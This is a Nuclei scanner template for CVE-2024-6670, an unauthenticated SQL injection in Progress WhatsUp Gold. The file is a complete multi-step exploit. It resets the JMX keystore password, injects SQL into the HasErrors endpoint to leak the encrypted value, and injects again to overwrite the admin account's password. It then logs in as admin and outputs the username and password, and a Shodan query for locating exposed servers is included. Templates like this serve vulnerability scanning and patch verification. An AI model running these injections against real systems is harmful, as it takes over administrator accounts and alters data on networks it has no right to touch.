nuclei-templates/http/cves/2024/CVE-2024-6670.yaml

140 lines
4.2 KiB
YAML

id: CVE-2024-6670
info:
name: WhatsUp Gold HasErrors SQL Injection - Authentication Bypass
author: DhiyaneshDK,princechaddha
severity: critical
description: |
In WhatsUp Gold versions released before 2024.0.0, a SQL Injection vulnerability allows an unauthenticated attacker to retrieve the users encrypted password.
reference:
- https://github.com/sinsinology/CVE-2024-6670
- https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024
- https://www.progress.com/network-monitoring
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-6670
cwe-id: CWE-89
epss-score: 0.00043
epss-percentile: 0.09569
cpe: cpe:2.3:a:progress:whatsup_gold:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
shodan-query: title:"WhatsUp Gold" http.favicon.hash:-2107233094
product: whatsup_gold
vendor: progress
tags: cve,cve2024,whatsup-gold,auth-bypass,sqli,intrusive
flow: |
http(1);
http(2);
http(3);
encryptedPassword = template.encryptedPassword
const cleanedInput = encryptedPassword.replace('psyduck', '').match(/\d+/g);
const hexValues = cleanedInput.map(value => {
const num = parseInt(value);
return isNaN(num) ? '00' : num.toString(16).padStart(2, '0');
});
log(hexValues);
const hexString = hexValues.join('');
const varbinaryString = '0x' + hexString;
set("encryptedPassword", varbinaryString);
http(4) && http(5);
variables:
username: "admin"
password: "{{to_lower(rand_text_alpha(8))}}"
http:
- raw:
- |
POST /NmConsole/WugSystemAppSettings/JMXSecurity HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"KeyStorePassword": "{{password}}", "TrustStorePassword": "{{password}}"}
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(set_cookie, 'ASP.NET_SessionId=')
condition: and
internal: true
- raw:
- |
POST /NmConsole/Platform/PerformanceMonitorErrors/HasErrors HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"deviceId": "22222", "classId": "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE ProActiveAlert SET sAlertName='psyduck'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');--", "range": "1", "n": "1", "start": "3", "end": "4", "businesdsHoursId": "5"}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, 'application/json')
condition: and
internal: true
- raw:
- |
GET /NmConsole/Platform/Filter/AlertCenterItemsReportThresholds HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, 'DisplayName')
condition: and
internal: true
extractors:
- type: regex
internal: true
name: encryptedPassword
regex:
- '"psyduck\d+(,\d+)*"'
- raw:
- |
POST /NmConsole/Platform/PerformanceMonitorErrors/HasErrors HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"deviceId": "22222", "classId": "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE WebUser SET sPassword = {{encryptedPassword}} where sUserName = 'admin';--", "range": "1", "n": "1", "start": "3", "end": "4", "businesdsHoursId": "5"}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, 'false')
condition: and
internal: true
- raw:
- |
POST /NmConsole/User/LoginAjax HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&rememberMe=false
matchers:
- type: word
part: body
words:
- '"authenticated":true'
- '"username":"'
condition: and
extractors:
- type: dsl
dsl:
- '"USER: "+ username'
- '"PASS: "+ password'
# digest: 4a0a00473045022100de094415e14c9a6e875c953b23b76c94d62cbc4da0a57db7ab65cc3db2ca652302207e6b8157dd2bdfc8fcba5f818575572d121cc61cfca0729455359ee19a788840:922c64590222798bb761d5b6d8e72950